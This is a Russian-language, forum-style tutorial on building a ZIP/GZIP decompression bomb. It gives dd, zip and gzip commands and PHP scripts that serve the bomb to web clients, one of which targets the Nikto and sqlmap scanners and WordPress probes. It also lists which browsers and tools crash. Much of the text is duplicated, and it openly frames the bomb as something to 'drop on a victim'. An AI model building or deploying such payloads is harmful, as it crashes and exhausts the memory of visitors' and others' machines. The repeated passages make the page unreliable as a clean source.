Что за штука такая — ZIP-бомба?
Как выяснилось, сжатие ZIP великолепно справляется с повторяющимися данными, так что если у вас имеется гигантский текстовый файл, заполненный повторяющимися данными вроде всех нулей, он очень хорошо сожмётся. В смысле, ОЧЕНЬ хорошо.
Как показал
Как сделать ZIP-бомбу?
Первым делом создадим 10-гигибайтный файл ZIP, заполненный нулями. Можно сделать много вложенных сжатий, но начнём с простого.
В линуксе можно сделать очень просто, командой dd:
dd if=/dev/zero bs=1M count=10240 >> 10
Получим файлик с именем "10" и 10-ть гигов...:)
Далее запакуем:
zip -r 10.zip 10
Получим файлик с именем "10.zip", у меня он весит всего пять мегабайт ! :)
Как сбросить ZIP-бомбу на жертву?
Ну можно просто дать ему такой файлик на распаковку ! :)
Но давайте рассмотрим более прикольный способ:
К сожалению, веб-браузеры не понимают ZIP, но зато они понимают GZIP.
Так что первым делом создадим 10-гигибайтный файл GZIP, заполненный нулями.
dd if=/dev/zero bs=1M count=10240 | gzip > 10G.gzip
Создание бомбы и проверка её размера
Как видите, её размер 10 МБ. Можно было сжать и получше, но пока хватит.
Теперь установим PHP-скрипт, который доставит её клиенту.
Всё браузер прочитает такой файлик и сдохнет ! :)
Можно использовать для борьбы с хакерами и сканерами на уязвимости, пример:
Данный скрипт проверяет заголовки популярных сканеров на уязвимости и выдаёт этот файлик на чтение вместо самого сайта ! :)
Итак… Что будет, если запустить этот скрипт?
IE 11 - Память расходуется, IE падает.
Chrome - Память расходуется, демонстрируется ошибка.
Edge - Память расходуется, утекает, грузится вечно.
Nikto - Как будто нормально сканирует, но не выдаёт результат.
SQLmap - Большой расход памяти, затем падает.
Safari - Большой расход памяти, затем падает и перезагружается, затем опять большой расход памяти и так далее...
Chrome (Android) - Память расходуется, демонстрируется ошибка.
У меня всё ! :)
Как выяснилось, сжатие ZIP великолепно справляется с повторяющимися данными, так что если у вас имеется гигантский текстовый файл, заполненный повторяющимися данными вроде всех нулей, он очень хорошо сожмётся. В смысле, ОЧЕНЬ хорошо.
Как показал
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
, можно сжать 4,5 петабайта (4 500 000 гигабайт) в 42 килобайта. Когда вы попытаетесь посмотреть содержимое архива (извлечь или разархивировать его), то у вас, вероятно, израсходуется всё дисковое пространство или оперативная память.Как сделать ZIP-бомбу?
Первым делом создадим 10-гигибайтный файл ZIP, заполненный нулями. Можно сделать много вложенных сжатий, но начнём с простого.
В линуксе можно сделать очень просто, командой dd:
dd if=/dev/zero bs=1M count=10240 >> 10
Получим файлик с именем "10" и 10-ть гигов...:)
Далее запакуем:
zip -r 10.zip 10
Получим файлик с именем "10.zip", у меня он весит всего пять мегабайт ! :)
Как сбросить ZIP-бомбу на жертву?
Ну можно просто дать ему такой файлик на распаковку ! :)
Но давайте рассмотрим более прикольный способ:
К сожалению, веб-браузеры не понимают ZIP, но зато они понимают GZIP.
Так что первым делом создадим 10-гигибайтный файл GZIP, заполненный нулями.
dd if=/dev/zero bs=1M count=10240 | gzip > 10G.gzip
Создание бомбы и проверка её размера
Как видите, её размер 10 МБ. Можно было сжать и получше, но пока хватит.
Теперь установим PHP-скрипт, который доставит её клиенту.
Код:
<?php
//prepare the client to recieve GZIP data. This will not be suspicious
//since most web servers use GZIP by default
header("Content-Encoding: gzip");
header("Content-Length: ".filesize('10G.gzip'));
//Turn off output buffering
if (ob_get_level()) ob_end_clean();
//send the gzipped file to the client
readfile('10G.gzip');
Всё браузер прочитает такой файлик и сдохнет ! :)
Можно использовать для борьбы с хакерами и сканерами на уязвимости, пример:
Данный скрипт проверяет заголовки популярных сканеров на уязвимости и выдаёт этот файлик на чтение вместо самого сайта ! :)
Код:
<?php
$agent = filter_input(INPUT_SERVER, 'HTTP_USER_AGENT');
//check for nikto, sql map or "bad" subfolders which only exist on wordpress
if (strpos($agent, 'nikto') !== false || strpos($agent, 'sqlmap') !== false || startswith($url,'wp-') || startswith($url,'wordpress') || startswith($url,'wp/'))
{
sendBomb();
exit();
}
function sendBomb(){
//prepare the client to recieve GZIP data. This will not be suspicious
//since most web servers use GZIP by default
header("Content-Encoding: gzip");
header("Content-Length: ".filesize('10G.gzip'));
//Turn off output buffering
if (ob_get_level()) ob_end_clean();
//send the gzipped file to the client
readfile('10G.gzip');
}
function startsWith($a, $b) {
return strpos($a, $b) === 0;
}
Итак… Что будет, если запустить этот скрипт?
IE 11 - Память расходуется, IE падает.
Chrome - Память расходуется, демонстрируется ошибка.
Edge - Память расходуется, утекает, грузится вечно.
Nikto - Как будто нормально сканирует, но не выдаёт результат.
SQLmap - Большой расход памяти, затем падает.
Safari - Большой расход памяти, затем падает и перезагружается, затем опять большой расход памяти и так далее...
Chrome (Android) - Память расходуется, демонстрируется ошибка.
У меня всё ! :)